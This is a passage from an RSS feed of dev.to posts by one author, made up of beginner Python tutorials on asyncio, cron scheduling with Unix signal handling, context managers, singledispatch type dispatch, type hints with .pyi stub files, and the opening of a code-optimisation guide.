&lt;p&gt;&lt;strong&gt;Event Loop&lt;/strong&gt;: The event loop is the orchestrator of asyncio. It runs asynchronous tasks and callbacks, handles &lt;strong&gt;I/O events&lt;/strong&gt;, and manages subprocesses.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tasks (asyncio.create_task)&lt;/strong&gt;: Tasks are used to schedule &lt;strong&gt;coroutines&lt;/strong&gt; concurrently. When you create a task from a coroutine, the event loop can run it in the background while your program continues doing other things.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Futures&lt;/strong&gt;: Futures are low-level awaitable objects representing the eventual result of an asynchronous operation. They are a crucial part of asyncio's internals.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Awaitables&lt;/strong&gt;: These are objects that can be used in an await expression. Coroutines, Tasks, and Futures are all awaitable.&lt;/p&gt;

&lt;h2&gt;
  
  
  Getting Started with asyncio
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Writing Asynchronous Functions&lt;/strong&gt;: Let's begin with a simple coroutine that does nothing but sleep for one second:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import asyncio

async def sleep_for_a_bit():
    await asyncio.sleep(1)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Running the Event Loop&lt;/strong&gt;: Use &lt;code&gt;asyncio.run()&lt;/code&gt; to run the top-level coroutine:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;asyncio.run(sleep_for_a_bit())
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Concurrency with asyncio
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Running Tasks Concurrently&lt;/strong&gt;: &lt;code&gt;asyncio.create_task()&lt;/code&gt; is used to run coroutines concurrently as &lt;strong&gt;asyncio&lt;/strong&gt; Tasks. Here's an example of running two sleep coroutines concurrently:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;async def main():
    task1 = asyncio.create_task(sleep_for_a_bit())
    task2 = asyncio.create_task(sleep_for_a_bit())
    await task1
    await task2

asyncio.run(main())
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Using asyncio.gather&lt;/strong&gt;: This function is used to run multiple &lt;strong&gt;coroutines&lt;/strong&gt; concurrently and wait for all of them to finish:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;async def main():
    await asyncio.gather(
        sleep_for_a_bit(),
        sleep_for_a_bit()
    )

asyncio.run(main())
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Handling Real-World Scenarios
&lt;/h2&gt;

&lt;p&gt;Managing Blocking Functions: In an async program, blocking functions can halt the entire &lt;strong&gt;event loop&lt;/strong&gt;. To avoid this, use &lt;code&gt;loop.run_in_executor()&lt;/code&gt; to run blocking functions in a separate thread or process.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Networking with asyncio&lt;/strong&gt;: asyncio excels in handling network operations. You can create network clients and servers using the protocol and transport abstractions provided by asyncio.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Synchronization Primitives&lt;/strong&gt;: When dealing with shared resources, use synchronization primitives like &lt;strong&gt;Semaphore&lt;/strong&gt;, &lt;strong&gt;Lock&lt;/strong&gt;, &lt;strong&gt;Event&lt;/strong&gt;, and &lt;strong&gt;Condition&lt;/strong&gt; to prevent race conditions.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Timeouts and Error Handling&lt;/strong&gt;: &lt;code&gt;asyncio.wait_for()&lt;/code&gt; allows setting timeouts for async operations. Handle exceptions using try-except blocks around await statements.&lt;/p&gt;

&lt;h2&gt;
  
  
  Advanced asyncio Features
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Custom Event Loops&lt;/strong&gt;: asyncio provides flexibility in terms of configuring the event loop. You can create custom event loop policies and set them globally.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Working with Executors&lt;/strong&gt;: Executors allow you to run synchronous functions asynchronously. This is particularly useful for CPU-bound tasks or &lt;strong&gt;blocking I/O&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Streams&lt;/strong&gt;: asyncio's high-level streams API provides a more convenient way to work with network connections.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Subprocesses&lt;/strong&gt;: Manage &lt;strong&gt;subprocesses asynchronously&lt;/strong&gt;, which is handy for running shell commands and other external programs.&lt;/p&gt;

&lt;h2&gt;
  
  
  Best Practices and Common Pitfalls
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Avoiding Common Mistakes&lt;/strong&gt;: It's easy to inadvertently block the event loop or forget to await a &lt;strong&gt;coroutine&lt;/strong&gt;. We'll discuss common pitfalls and how to avoid them.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Testing Async Code&lt;/strong&gt;: Testing async code requires a different approach. Use asyncio's testing utilities to write effective tests.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Performance Considerations&lt;/strong&gt;: Although asyncio is great for I/O-bound and high-level structured network code, it's not always the best choice for &lt;strong&gt;CPU-bound&lt;/strong&gt; tasks.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Debugging&lt;/strong&gt;: Debugging &lt;strong&gt;asynchronous&lt;/strong&gt; code can be challenging. asyncio provides a debug mode that can help identify common issues such as tasks that are never awaited.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;asyncio&lt;/strong&gt; is a versatile and robust library that opens up a multitude of possibilities for asynchronous programming in &lt;strong&gt;Python&lt;/strong&gt;. Whether you're building &lt;strong&gt;I/O-bound applications&lt;/strong&gt;, creating network servers, or simply exploring concurrent programming patterns, &lt;strong&gt;asyncio&lt;/strong&gt; provides the tools you need to write efficient and scalable Python code.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;Please share and check my other posts, your support makes me high :D&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>programming</category>
      <category>tutorial</category>
      <category>python</category>
      <category>beginners</category>
    </item>
    <item>
      <title>Schedule and Signal: Dynamic Python Task Management</title>
      <dc:creator>AissaGeek</dc:creator>
      <pubDate>Fri, 13 Oct 2023 17:39:22 +0000</pubDate>
      <link>https://dev.to/aissageek/schedule-and-signal-dynamic-python-task-management-4pmf</link>
      <guid>https://dev.to/aissageek/schedule-and-signal-dynamic-python-task-management-4pmf</guid>
      <description>&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;Ever had a Python script running via &lt;strong&gt;cron&lt;/strong&gt; and wished you could communicate with it on the fly? This article introduces a Python project where a cron job runs a Python script, and that script then awaits signals to call specific methods.&lt;/p&gt;

&lt;h2&gt;
  
  
  Prerequisites
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Basic knowledge of Python.&lt;/li&gt;
&lt;li&gt;Familiarity with Unix/Linux systems.&lt;/li&gt;
&lt;li&gt;A Python environment.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Step 1: The Python Project
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import os
import signal
import sys
import time

def main_task():
    print("Performing the main task...")
    # Your task logic here

def handle_signal(signum, frame):
    print(f"Received signal {signum}, executing special task...")
    # Additional task logic here

if __name__ == "__main__":
    # Assign signal handlers
    signal.signal(signal.SIGUSR1, handle_signal)
    signal.signal(signal.SIGUSR2, handle_signal)

    while True:
        main_task()
        time.sleep(60)  # sleep for 60 seconds
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Our script performs a &lt;strong&gt;main_task()&lt;/strong&gt; once every minute. But, with the magic of signal handling, it can respond to signals and perform special tasks even while it's waiting!&lt;/p&gt;

&lt;h2&gt;
  
  
  Understanding Signal Handling
&lt;/h2&gt;

&lt;p&gt;Signals are software interrupts sent to a program to indicate that an important event has occurred. In this script, we're handling &lt;strong&gt;SIGUSR1&lt;/strong&gt; and &lt;strong&gt;SIGUSR2&lt;/strong&gt; signals. When these signals are detected, our &lt;code&gt;handle_signal&lt;/code&gt; method gets executed.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 2: Scheduling with cron
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Introduction to Cron
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;cron&lt;/strong&gt; is a job &lt;strong&gt;scheduler&lt;/strong&gt; in Unix-like systems, used to run commands or scripts at fixed times, dates, or intervals.&lt;/p&gt;

&lt;h3&gt;
  
  
  Scheduling Your Python Script
&lt;/h3&gt;

&lt;p&gt;To schedule your Python script to run every hour, you can use the following cron command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;0 * * * * /usr/bin/python3 /path/to/your_script.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each field has a specific meaning and allows you to configure exactly when and how often the task should be executed. Here’s a breakdown of what each field means:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;0: Minute (0 - 59)&lt;/li&gt;
&lt;li&gt;*: Hour (0 - 23)&lt;/li&gt;
&lt;li&gt;*: Day of month (1 - 31)&lt;/li&gt;
&lt;li&gt;*: Month (1 - 12)&lt;/li&gt;
&lt;li&gt;*: Day of week (0 - 6) (Sunday=0 or 7)&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;/usr/bin/python3 /path/to/your_script.py&lt;/em&gt;: Command to be executed&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So, &lt;code&gt;0 * * * * /usr/bin/python3 /path/to/your_script.py&lt;/code&gt; translates to: &lt;br&gt;
"Run /path/to/your_script.py with /usr/bin/python3 at minute 0 of every hour of every day of the month, every month, and every day of the week."&lt;/p&gt;

&lt;p&gt;Breaking Down the Timing:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;0: The task runs at the zeroth minute of the hour.&lt;/li&gt;
&lt;li&gt;*: The task runs every hour.&lt;/li&gt;
&lt;li&gt;*: The task runs every day of the month.&lt;/li&gt;
&lt;li&gt;*: The task runs every month.&lt;/li&gt;
&lt;li&gt;*: The task runs every day of the week.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
  
  
  Step 3: Dynamically Interacting with the Running Script
&lt;/h2&gt;

&lt;p&gt;Once our Python script is running, you can send &lt;strong&gt;signals&lt;/strong&gt; to it. Here's how:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Find the Process ID (PID)&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ps aux | grep your_script.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Send a Signal&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;kill -USR1 [PID]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Replace [PID] with the actual process ID from step 1.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 4: Use Cases
&lt;/h2&gt;

&lt;p&gt;Imagine a data ingestion script that pulls data every hour. Midway, you realize you want to trigger an additional data cleaning method without stopping the script. &lt;strong&gt;Signals&lt;/strong&gt; allow you to do just that!&lt;/p&gt;

&lt;p&gt;You could extend this to various scenarios:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Dynamically&lt;/strong&gt; modifying configuration.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Logging&lt;/strong&gt; diagnostics.&lt;/li&gt;
&lt;li&gt;Graceful &lt;strong&gt;shutdowns&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Troubleshooting&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;No Logs&lt;/strong&gt;: Ensure your Python script has appropriate logging.&lt;/li&gt;
&lt;li&gt;Unhandled &lt;strong&gt;Signals&lt;/strong&gt;: Your script will terminate if it receives unhandled signals. Ensure signal handling covers expected signals.&lt;/li&gt;
&lt;li&gt;Script &lt;strong&gt;Failures&lt;/strong&gt;: Monitor the health of your script. Consider adding health checks or alerts.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Dynamic task management in Python, with the combination of &lt;strong&gt;cron&lt;/strong&gt; and Unix &lt;strong&gt;signals&lt;/strong&gt;, offers a powerful tool in the developer's arsenal. It's a great method to have long-running scripts that can adapt to changing needs on the fly. Dive in, and &amp;gt; &lt;code&gt;Follow up for more, your support makes me high :D&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Further Reading&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Python’s signal documentation&lt;/li&gt;
&lt;li&gt;Crontab Guru&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>programming</category>
      <category>tutorial</category>
      <category>python</category>
      <category>beginners</category>
    </item>
    <item>
      <title>Mastering Context Managers in Python: Ensuring Efficient Resource Management</title>
      <dc:creator>AissaGeek</dc:creator>
      <pubDate>Wed, 04 Oct 2023 08:39:49 +0000</pubDate>
      <link>https://dev.to/aissageek/mastering-context-managers-in-python-ensuring-efficient-resource-management-1nbe</link>
      <guid>https://dev.to/aissageek/mastering-context-managers-in-python-ensuring-efficient-resource-management-1nbe</guid>
      <description>&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;Context managers in Python are a critical component, especially when dealing with resource management. They ensure resources like file handles, network connections, and locks are efficiently managed and cleaned up after usage. The with statement in Python is used to wrap the execution of a block of code, providing the mechanics needed to create and manage resources during the block's execution. This article unveils the concept of context managers and how to create custom managers for efficient resource utilization.&lt;/p&gt;

&lt;h2&gt;
  
  
  What is a Context Manager?
&lt;/h2&gt;

&lt;p&gt;A context manager is an object that sets up a resource for part of your code to use and takes it down, or cleans it up, once the code has run. The classic example of a context manager is file management.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Example: File Management Without Context Manager&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;file = open('example.txt', 'w')
file.write('Hello, World!')
file.close()
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Issues like forgetting to close the file can cause resource leaks.&lt;/p&gt;

&lt;h2&gt;
  
  
  Using a Context Manage
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;with open('example.txt', 'w') as file:
    file.write('Hello, World!')
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With a context manager, the file is closed automatically, ensuring resource efficiency.&lt;/p&gt;

&lt;p&gt;Under the Hood: dunder methods &lt;strong&gt;&lt;strong&gt;enter&lt;/strong&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;strong&gt;exit&lt;/strong&gt;&lt;/strong&gt; Methods&lt;br&gt;
To create a context manager, an object needs to implement &lt;strong&gt;&lt;strong&gt;enter&lt;/strong&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;strong&gt;exit&lt;/strong&gt;&lt;/strong&gt; methods.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;strong&gt;enter&lt;/strong&gt;(self)&lt;/strong&gt;: This method is run when the with block is entered. It can return an object that will be used within the context.&lt;br&gt;
&lt;strong&gt;&lt;strong&gt;exit&lt;/strong&gt;(self, exc_type, exc_value, traceback):&lt;/strong&gt; This method is run when the with block is exited, either normally or via an exception.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Example: Custom Context Manager&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;class SampleContextManager:
    def __enter__(self):
        print("Entering the context")
        return self

    def __exit__(self, exc_type, exc_value, traceback):
        print("Exiting the context")
        if exc_type:
            print(f"Exception type: {exc_type}, value: {exc_value}")

with SampleContextManager() as scm:
    print("Inside the context")
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Output&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Entering the context
Inside the context
Exiting the context
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Using contextlib
&lt;/h2&gt;

&lt;p&gt;The contextlib module in Python provides utilities to create context management functions without the need to create a class or implement &lt;strong&gt;enter&lt;/strong&gt; and &lt;strong&gt;exit&lt;/strong&gt; methods.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Example: contextlib.contextmanager&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;from contextlib import contextmanager
@contextmanager
def sample_context_manager():
    print("Entering the context")
    try:
        yield
    finally:
        print("Exiting the context")

with sample_context_manager():
    print("Inside the context")
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This method is particularly useful for short-lived context managers and keeps the code DRY (&lt;strong&gt;Don’t Repeat Yourself&lt;/strong&gt;).&lt;/p&gt;

&lt;h2&gt;
  
  
  Nested Context Managers
&lt;/h2&gt;

&lt;p&gt;You can nest context managers using a single with statement, ensuring all entered contexts are correctly exited in the reverse order of their creation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Example: Nested Context Managers&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;with open('file1.txt', 'w') as file1, open('file2.txt', 'w') as file2:
    file1.write('Writing to file1')
    file2.write('Writing to file2')
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Both files are guaranteed to close correctly even if an exception occurs while writing data.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Context managers are a powerful tool, contributing to the creation of clean and efficient Python code by automating setup and teardown of resources. The resource management facilitated by context managers is not only crucial for memory and performance optimization but also for ensuring that our programs behave predictably and correctly, especially during error handling.&lt;/p&gt;

&lt;p&gt;When to use context managers boils down to recognizing when your code accesses resources that need to be released or closed explicitly to avoid resource leaks and maintain program stability. Whether it's file handling, network connections, or thread synchronization, context managers pave the way for safer, more readable, and more Pythonic code.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;Follow up for more, your support makes me high :D&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>programming</category>
      <category>python</category>
      <category>tutorial</category>
      <category>learning</category>
    </item>
    <item>
      <title>Modern Techniques for Type Dispatch in Python Functions</title>
      <dc:creator>AissaGeek</dc:creator>
      <pubDate>Tue, 03 Oct 2023 13:03:15 +0000</pubDate>
      <link>https://dev.to/aissageek/modern-techniques-for-type-dispatch-in-python-functions-hae</link>
      <guid>https://dev.to/aissageek/modern-techniques-for-type-dispatch-in-python-functions-hae</guid>
      <description>&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;In programming, particularly in object-oriented languages like Python, the necessity to perform different actions based on the type of an object is quite common. This concept is called "&lt;strong&gt;Type Dispatching&lt;/strong&gt;." In this article, let’s walk through the evolution of strategies for type dispatch in functions with an eye on maintainability and robustness, considering an example that pertains to drawing shapes.&lt;/p&gt;

&lt;h2&gt;
  
  
  Traditional Approach
&lt;/h2&gt;

&lt;p&gt;Traditionally, one might employ a series of conditional checks using &lt;strong&gt;isinstance()&lt;/strong&gt; to determine an object’s type and execute type-specific logic accordingly. This approach, while straightforward, tends to generate unwieldy code as more types are added.&lt;/p&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;def draw(shape):
    if isinstance(shape, Rectangle): 
        draw_rectangle(shape)
    elif isinstance(shape, Circle):
        draw_circle(shape)
    elif isinstance(shape, Polygon):
        draw_polygon(shape)
    #...etc
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Dictionary Dispatching
&lt;/h2&gt;

&lt;p&gt;To mitigate the drawbacks of a lengthy &lt;strong&gt;if-elif-else&lt;/strong&gt; chain, developers often leverage a dispatch dictionary where object types are keys and associated functions are values.&lt;/p&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;def draw(shape): 
    draw_dispatcher = {
        Rectangle: draw_rectangle,
        Circle: draw_circle,
        Polygon: draw_polygon  # etc...
    }
    try: 
        draw_dispatcher[type(shape)](shape)
    except KeyError:
        raise TypeError("Shape not recognized")
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Introspective Lookup
&lt;/h2&gt;

&lt;p&gt;Another technique involves introspection, utilizing naming conventions and the built-in &lt;strong&gt;globals()&lt;/strong&gt; function to dynamically look up and invoke the appropriate draw function based on shape type.&lt;/p&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;def draw_polygon(shape): ...
def draw_circle(shape): ...

def draw(shape):
    shape_type = type(shape).__name__.lower()
    shape_name = f"draw_{shape_type}"
    try:
        get_shape_method_object = globals()[shape_name]
    except KeyError:
        raise TypeError("Function not found")
    else:
        get_shape_method_object(shape)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This method reduces explicit mappings between types and functions but is fragile with respect to refactoring and naming consistency.&lt;/p&gt;

&lt;h2&gt;
  
  
  Leveraging @singledispatch
&lt;/h2&gt;

&lt;p&gt;Python provides a powerful and clean mechanism via the &lt;strong&gt;functools.singledispatch&lt;/strong&gt; decorator, allowing the registration of multiple specialized functions to handle different types for a generic function. This approach is particularly robust and clean.&lt;/p&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;from functools import singledispatch

@singledispatch
def draw(shape):
    raise TypeError("Shape not recognized")

@draw.register(Rectangle)
def _(rect):
    # Draw rectangle...

@draw.register(Circle)
def _(circ):
    # Draw circle...

@draw.register(Polygon)
def _(poly):
    # Draw polygon...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In this technique, the @singledispatch decorator designates a generic function (draw()). Subsequent specialized functions are then registered to handle specific types.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;From the traditional method of chaining if-elif-else checks to the modern approach using @singledispatch, Python offers various strategies for function dispatch based on type. While each method has its place depending on specific use cases and requirements, @singledispatch emerges as a clear winner in terms of cleanliness and maintainability, especially when dealing with a growing set of types and associated functions.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;Follow up for more, your support makes me high :D&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>python</category>
      <category>programming</category>
      <category>dispatching</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Python Type Hints and .pyi Files: Enhancing Code Readability and Tooling</title>
      <dc:creator>AissaGeek</dc:creator>
      <pubDate>Thu, 20 Jul 2023 20:42:59 +0000</pubDate>
      <link>https://dev.to/aissageek/python-type-hints-and-pyi-files-enhancing-code-readability-and-tooling-b7l</link>
      <guid>https://dev.to/aissageek/python-type-hints-and-pyi-files-enhancing-code-readability-and-tooling-b7l</guid>
      <description>&lt;p&gt;As software development evolves, code readability and understanding become ever more critical. Modern programming languages now often include features that enable explicit typing, aiding in the understanding of functions and variables. Python, known for its simplicity and readability, has introduced a concept called "type hints" in recent years to assist developers in creating more readable and safer code.&lt;/p&gt;

&lt;h2&gt;
  
  
  Understanding Python Type Hints
&lt;/h2&gt;

&lt;p&gt;Python is a dynamically typed language, which means the type (like integer, string, list, etc.) of a variable is checked during runtime. You don't need to specify the type of a variable when you declare it, making Python flexible and easy-to-use. But this flexibility can sometimes lead to bugs that are hard to spot.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Python 3.5&lt;/strong&gt; introduced "type hints" as a new feature that allows developers to indicate the type of a variable or the return type of a function. Here's a quick example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;def greet(name: str) -&amp;gt; str:
    return 'Hello, ' + name
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In this example, &lt;strong&gt;name: str&lt;/strong&gt; indicates that the greet function expects a string as an argument. The &lt;strong&gt;-&amp;gt; str&lt;/strong&gt; part indicates that the greet function will return a string.&lt;/p&gt;

&lt;p&gt;Type hints do not affect the actual runtime of the program; they are merely "hints". However, they can significantly enhance code readability, and tools like Mypy, Pyright, or PyCharm can use them to catch potential bugs before runtime.&lt;/p&gt;

&lt;h2&gt;
  
  
  Introducing .pyi Files: Stub Files for Type Annotations
&lt;/h2&gt;

&lt;p&gt;Python 3.5's type hint system works well but can fall short in certain situations. For example, what if you want to add type hints to a third-party library, or an existing codebase, without touching the original code?&lt;/p&gt;

&lt;p&gt;This is where Python's stub files, or .pyi files, come into play. Python Interface files, as they're known, allow you to provide type information separately from your Python source files.&lt;/p&gt;

&lt;p&gt;Here's a simple example. Let's say we have a Python file &lt;strong&gt;math_utils.py&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# math_utils.py
def add(x, y):
    return x + y
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We can create a corresponding .pyi file to provide type information:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# math_utils.pyi
def add(x: int, y: int) -&amp;gt; int: ...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;strong&gt;...&lt;/strong&gt; is used in Python stub files to indicate that the body of the function is omitted.&lt;/p&gt;

&lt;p&gt;Now, any type checker like Mypy, Pyright, or PyCharm, which is configured correctly, will consider add as a function that takes two integers and returns an integer. It will then flag any misuse in your code.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# main.py
import math_utils

print(math_utils.add(5, 7))  # This is fine
print(math_utils.add("hello", "world"))  # This will be flagged by mypy
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When you run mypy main.py, it would return an error for the line print(math_utils.add("hello", "world")), catching a potential bug before the code even runs.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Python's type hinting, along with .pyi files, offers a valuable way to make your Python code more understandable and safer. While these are optional tools, they can be instrumental in catching bugs early in large codebases and making your code easier to understand for other developers. As Python continues to grow in popularity, these features will undoubtedly become even more valuable.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;Follow up for more, your support makes me high :D&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>python</category>
      <category>programming</category>
      <category>typing</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Optimizing Python Code: A Comprehensive Guide</title>
      <dc:creator>AissaGeek</dc:creator>
      <pubDate>Mon, 17 Jul 2023 11:41:55 +0000</pubDate>
      <link>https://dev.to/aissageek/optimizing-python-code-a-comprehensive-guide-4o30</link>
      <guid>https://dev.to/aissageek/optimizing-python-code-a-comprehensive-guide-4o30</guid>
      <description>&lt;p&gt;Python is known for its simplicity and readability, but it is not the fastest language out there. However, with a few techniques, we can make our Python code run faster. This post aims to introduce some of these techniques, from choosing the right data structures to using libraries like NumPy or JIT compilers like PyPy.&lt;/p&gt;

&lt;h2&gt;
  
  
  1. Use Built-in Functions and Libraries
&lt;/h2&gt;

&lt;p&gt;Python's built-in functions and libraries are implemented in C, which makes them faster than equivalent Python code. For example, use the sort() method or sorted() function for sorting lists instead of implementing your own sorting algorithm.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;my_list = [5, 2, 3, 1, 4]
my_list.sort()
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  2. Use List Comprehensions
&lt;/h2&gt;

&lt;p&gt;List comprehensions in Python are not just more readable, but they're also generally faster than using a traditional for loop.&lt;br&gt;
&lt;/p&gt;

